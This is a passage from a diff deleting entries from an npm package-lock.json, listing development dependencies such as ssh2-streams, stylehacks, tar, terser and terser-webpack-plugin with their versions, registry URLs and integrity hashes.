"https://registry.npmjs.org/ssh2-streams/-/ssh2-streams-0.0.23.tgz", - "integrity": "sha1-ru8wgxu1/Er2qj9tCiYaQTUxYSs=", - "dev": true, - "requires": { - "asn1": "~0.2.0", - "readable-stream": "~1.0.0", - "streamsearch": "~0.1.2" - }, - "dependencies": { - "isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", - "dev": true - }, - "readable-stream": { - "version": "1.0.34", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", - "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" - } - } - } - }, - "sshpk": { - "version": "1.14.2", - "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.2.tgz", - "integrity": "sha1-xvxhZIo9nE52T9P8306hBeSSupg=", - "dev": true, - "requires": { - "asn1": "~0.2.3", - "assert-plus": "^1.0.0", - "bcrypt-pbkdf": "^1.0.0", - "dashdash": "^1.12.0", - "ecc-jsbn": "~0.1.1", - "getpass": "^0.1.1", - "jsbn": "~0.1.0", - "safer-buffer": "^2.0.2", - "tweetnacl": "~0.14.0" - } - }, - "ssri": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-5.3.0.tgz", - "integrity": "sha512-XRSIPqLij52MtgoQavH/x/dU1qVKtWUAAZeOHsR9c2Ddi4XerFy3mc1alf+dLJKl9EUIm/Ht+EowFkTUOA6GAQ==", - "dev": true, - "requires": { - "safe-buffer": "^5.1.1" - } - }, - "stable": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", - "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", - "dev": true - }, - "static-extend": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", - "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", - "dev": true, - "requires": { - "define-property": "^0.2.5", - "object-copy": "^0.1.0" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "requires": { - "is-descriptor": "^0.1.0" - } - } - } - }, - "stdout-stream": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz", - "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==", - "dev": true, - "requires": { - "readable-stream": "^2.0.1" - } - }, - "stream-browserify": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.1.tgz", - "integrity": "sha1-ZiZu5fm9uZQKTkUUyvtDu3Hlyds=", - "dev": true, - "requires": { - "inherits": "~2.0.1", - "readable-stream": "^2.0.2" - } - }, - "stream-buffers": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-2.2.0.tgz", - "integrity": "sha1-kdX1Ew0c75bc+n9yaUUYh0HQnuQ=", - "dev": true - }, - "stream-combiner2": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/stream-combiner2/-/stream-combiner2-1.1.1.tgz", - "integrity": "sha1-+02KFCDqNidk4hrUeAOXvry0HL4=", - "dev": true, - "requires": { - "duplexer2": "~0.1.0", - "readable-stream": "^2.0.2" - } - }, - "stream-each": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/stream-each/-/stream-each-1.2.2.tgz", - "integrity": "sha512-mc1dbFhGBxvTM3bIWmAAINbqiuAk9TATcfIQC8P+/+HJefgaiTlMn2dHvkX8qlI12KeYKSQ1Ua9RrIqrn1VPoA==", - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "stream-shift": "^1.0.0" - } - }, - "stream-http": { - "version": "2.7.2", - "resolved": "https://registry.npmjs.org/stream-http/-/stream-http-2.7.2.tgz", - "integrity": "sha1-QKBQ7I3DtTsz2ZCUFcAsC/Gr+60=", - "dev": true, - "requires": { - "builtin-status-codes": "^3.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.2.6", - "to-arraybuffer": "^1.0.0", - "xtend": "^4.0.0" - } - }, - "stream-shift": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.0.tgz", - "integrity": "sha1-1cdSgl5TZ+eG944Y5EXqIjoVWVI=", - "dev": true - }, - "stream-splicer": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/stream-splicer/-/stream-splicer-2.0.0.tgz", - "integrity": "sha1-G2O+Q4oTPktnHMGTUZdgAXWRDYM=", - "dev": true, - "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.2" - } - }, - "streamsearch": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz", - "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=", - "dev": true - }, - "strict-uri-encode": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz", - "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=", - "dev": true - }, - "string_decoder": { - "version": "0.10.31", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", - "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", - "dev": true - }, - "string-template": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/string-template/-/string-template-0.2.1.tgz", - "integrity": "sha1-QpMuWYo1LQH8IuwzZ9nYTuxsmt0=", - "dev": true - }, - "string-to-js": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/string-to-js/-/string-to-js-0.0.1.tgz", - "integrity": "sha1-vxU8dgY2+qMHabgEoBlVUrp62A8=", - "dev": true - }, - "string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "dev": true, - "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - }, - "dependencies": { - "ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true - }, - "strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "requires": { - "ansi-regex": "^2.0.0" - } - } - } - }, - "strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "requires": { - "ansi-regex": "^2.0.0" - } - }, - "strip-bom": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz", - "integrity": "sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=", - "dev": true, - "requires": { - "is-utf8": "^0.2.0" - } - }, - "strip-eof": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", - "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=", - "dev": true - }, - "strip-indent": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-1.0.1.tgz", - "integrity": "sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=", - "dev": true, - "requires": { - "get-stdin": "^4.0.1" - } - }, - "strip-json-comments": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", - "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", - "dev": true - }, - "style-loader": { - "version": "0.19.1", - "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-0.19.1.tgz", - "integrity": "sha512-IRE+ijgojrygQi3rsqT0U4dd+UcPCqcVvauZpCnQrGAlEe+FUIyrK93bUDScamesjP08JlQNsFJU+KmPedP5Og==", - "dev": true, - "requires": { - "loader-utils": "^1.0.2", - "schema-utils": "^0.3.0" - }, - "dependencies": { - "schema-utils": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.3.0.tgz", - "integrity": "sha1-9YdyIs4+kx7a4DnxfrNxbnE3+M8=", - "dev": true, - "requires": { - "ajv": "^5.0.0" - } - } - } - }, - "stylehacks": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-4.0.0.tgz", - "integrity": "sha1-ZLMjlRxKJOX8ey7AbBN78y0VXoo=", - "dev": true, - "requires": { - "browserslist": "^4.0.0", - "postcss": "^6.0.0", - "postcss-selector-parser": "^3.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "browserslist": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.0.1.tgz", - "integrity": "sha512-QqiiIWchEIkney3wY53/huI7ZErouNAdvOkjorUALAwRcu3tEwOV3Sh6He0DnP38mz1JjBpCBb50jQBmaYuHPw==", - "dev": true, - "requires": { - "caniuse-lite": "^1.0.30000865", - "electron-to-chromium": "^1.3.52", - "node-releases": "^1.0.0-alpha.10" - } - }, - "caniuse-lite": { - "version": "1.0.30000865", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30000865.tgz", - "integrity": "sha512-vs79o1mOSKRGv/1pSkp4EXgl4ZviWeYReXw60XfacPU64uQWZwJT6vZNmxRF9O+6zu71sJwMxLK5JXxbzuVrLw==", - "dev": true - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "electron-to-chromium": { - "version": "1.3.52", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.52.tgz", - "integrity": "sha1-0tnxJwuko7lnuDHEDvcftNmrXOA=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "postcss-selector-parser": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.1.tgz", - "integrity": "sha1-T4dfSvsMllc9XPTXQBGu4lCn6GU=", - "dev": true, - "requires": { - "dot-prop": "^4.1.1", - "indexes-of": "^1.0.1", - "uniq": "^1.0.1" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "subarg": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/subarg/-/subarg-1.0.0.tgz", - "integrity": "sha1-9izxdYHplrSPyWVpn1TAauJouNI=", - "dev": true, - "requires": { - "minimist": "^1.1.0" - } - }, - "supports-color": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", - "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=" - }, - "svgo": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/svgo/-/svgo-0.7.2.tgz", - "integrity": "sha1-n1dyQTlSE1xv779Ar+ak+qiLS7U=", - "dev": true, - "requires": { - "coa": "~1.0.1", - "colors": "~1.1.2", - "csso": "~2.3.1", - "js-yaml": "~3.7.0", - "mkdirp": "~0.5.1", - "sax": "~1.2.1", - "whet.extend": "~0.9.9" - } - }, - "syntax-error": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/syntax-error/-/syntax-error-1.4.0.tgz", - "integrity": "sha512-YPPlu67mdnHGTup2A8ff7BC2Pjq0e0Yp/IyTFN03zWO0RcK07uLcbi7C2KpGR2FvWbaB0+bfE27a+sBKebSo7w==", - "dev": true, - "requires": { - "acorn-node": "^1.2.0" - } - }, - "table": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/table/-/table-4.0.2.tgz", - "integrity": "sha512-UUkEAPdSGxtRpiV9ozJ5cMTtYiqz7Ni1OGqLXRCynrvzdtR1p+cfOWe2RJLwvUG8hNanaSRjecIqwOjqeatDsA==", - "dev": true, - "requires": { - "ajv": "^5.2.3", - "ajv-keywords": "^2.1.0", - "chalk": "^2.1.0", - "lodash": "^4.17.4", - "slice-ansi": "1.0.0", - "string-width": "^2.1.1" - }, - "dependencies": { - "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true - }, - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - }, - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "string-width": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", - "integrity": "sha1-q5Pyeo3BPSjKyBXEYhQ6bZASrp4=", - "dev": true, - "requires": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" - } - }, - "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "requires": { - "ansi-regex": "^3.0.0" - } - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "tapable": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", - "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", - "dev": true - }, - "tar": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.1.tgz", - "integrity": "sha1-jk0qJWwOIYXGsYrWlK7JaLg8sdE=", - "dev": true, - "requires": { - "block-stream": "*", - "fstream": "^1.0.2", - "inherits": "2" - } - }, - "tar-fs": { - "version": "1.16.0", - "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-1.16.0.tgz", - "integrity": "sha512-I9rb6v7mjWLtOfCau9eH5L7sLJyU2BnxtEZRQ5Mt+eRKmf1F0ohXmT/Jc3fr52kDvjJ/HV5MH3soQfPL5bQ0Yg==", - "dev": true, - "optional": true, - "requires": { - "chownr": "^1.0.1", - "mkdirp": "^0.5.1", - "pump": "^1.0.0", - "tar-stream": "^1.1.2" - }, - "dependencies": { - "pump": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/pump/-/pump-1.0.3.tgz", - "integrity": "sha512-8k0JupWme55+9tCVE+FS5ULT3K6AbgqrGa58lTT49RpyfwwcGedHqaC5LlQNdEAumn/wFsu6aPwkuPMioy8kqw==", - "dev": true, - "optional": true, - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - } - } - }, - "tar-stream": { - "version": "1.5.5", - "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-1.5.5.tgz", - "integrity": "sha512-mQdgLPc/Vjfr3VWqWbfxW8yQNiJCbAZ+Gf6GDu1Cy0bdb33ofyiNGBtAY96jHFhDuivCwgW1H9DgTON+INiXgg==", - "dev": true, - "requires": { - "bl": "^1.0.0", - "end-of-stream": "^1.0.0", - "readable-stream": "^2.0.0", - "xtend": "^4.0.0" - } - }, - "terser": { - "version": "4.8.0", - "resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz", - "integrity": "sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==", - "dev": true, - "requires": { - "commander": "^2.20.0", - "source-map": "~0.6.1", - "source-map-support": "~0.5.12" - }, - "dependencies": { - "commander": { - "version": "2.20.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", - "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", - "dev": true - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "source-map-support": { - "version": "0.5.19", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", - "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", - "dev": true, - "requires": { - "buffer-from": "^1.0.0", - "source-map": "^0.6.0" - } - } - } - }, - "terser-webpack-plugin": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.4.tgz", - "integrity": "sha512-U4mACBHIegmfoEe5fdongHESNJWqsGU+W0S/9+BmYGVQDw1+c2Ow05TpMhxjPK1sRb7cuYq1BPl1e5YHJMTCqA==", - "dev": true, - "requires": { - "cacache": "^12.0.2", - "find-cache-dir": "^2.1.0", - "is-wsl": "^1.1.0", - "schema-utils": "^1.0.0", - "serialize-javascript": "^3.1.0", - "source-map": "^0.6.1", - "terser": "^4.1.2", - "webpack-sources": "^1.4.0", - "worker-farm": "^1.7.0" - }, - "dependencies": { - "ajv": { - "version": "6.12.3", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.3.tgz", - "integrity": "sha512-4K0cK3L1hsqk9xIb2z9vs/XU+PGJZ9PNpJRDS9YLzmNdX6jmVPfamLvTJr0aDAusnHyCHO6MjzlkAsgtqp9teA==", - "dev": true, - "requires": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - } - }, - "ajv-keywords": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.1.tgz", - "integrity": "sha512-KWcq3xN8fDjSB+IMoh2VaXVhRI0BBGxoYp3rx7Pkb6z0cFjYR9Q9l4yZqqals0/zsioCmocC5H6UvsGD4MoIBA==", - "dev": true, - "requires": {} - }, - "bluebird": { - "version": "3.7.2", - "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", - "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", - "dev": true - }, - "cacache": { - "version": "12.0.4", - "resolved": "https://registry.npmjs.org/cacache/-/cacache-12.0.4.tgz", - "integrity": "sha512-a0tMB40oefvuInr4Cwb3GerbL9xTj1D5yg0T5xrjGCGyfvbxseIXX7BAO/u/hIXdafzOI5JC3wDwHyf24buOAQ==", - "dev": true, - "requires": { - "bluebird": "^3.5.5", - "chownr": "^1.1.1", - "figgy-pudding": "^3.5.1", - "glob": "^7.1.4", - "graceful-fs": "^4.1.15", - "infer-owner": "^1.0.3", - "lru-cache": "^5.1.1", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.1", - "move-concurrently": "^1.0.1", - "promise-inflight": "^1.0.1", - "rimraf": "^2.6.3", - "ssri": "^6.0.1", - "unique-filename": "^1.1.1", - "y18n": "^4.0.0" - } - }, - "chownr": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", - "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", - "dev": true - }, - "fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "dev": true - }, - "find-cache-dir": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", - "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", - "dev": true, - "requires": { - "commondir": "^1.0.1", - "make-dir": "^2.0.0", - "pkg-dir": "^3.0.0" - } - }, - "find-up": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", - "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", - "dev": true, - "requires": { - "locate-path": "^3.0.0" - } - }, - "glob": { - "version": "7.1.6", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", - "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "graceful-fs": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", - "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", - "dev": true - }, - "json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "locate-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", - "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", - "dev": true, - "requires": { - "p-locate": "^3.0.0", - "path-exists": "^3.0.0" - } - }, - "lru-cache": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", - "dev": true, - "requires": { - "yallist": "^3.0.2" - } - }, - "make-dir": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", - "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", - "dev": true, - "requires": { - "pify": "^4.0.1", - "semver": "^5.6.0" - } - }, - "mississippi": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz", - "integrity": "sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==", - "dev": true, - "requires": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^3.0.0", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" - } - }, - "p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - "dev": true, - "requires": { - "p-try": "^2.0.0" - } - }, 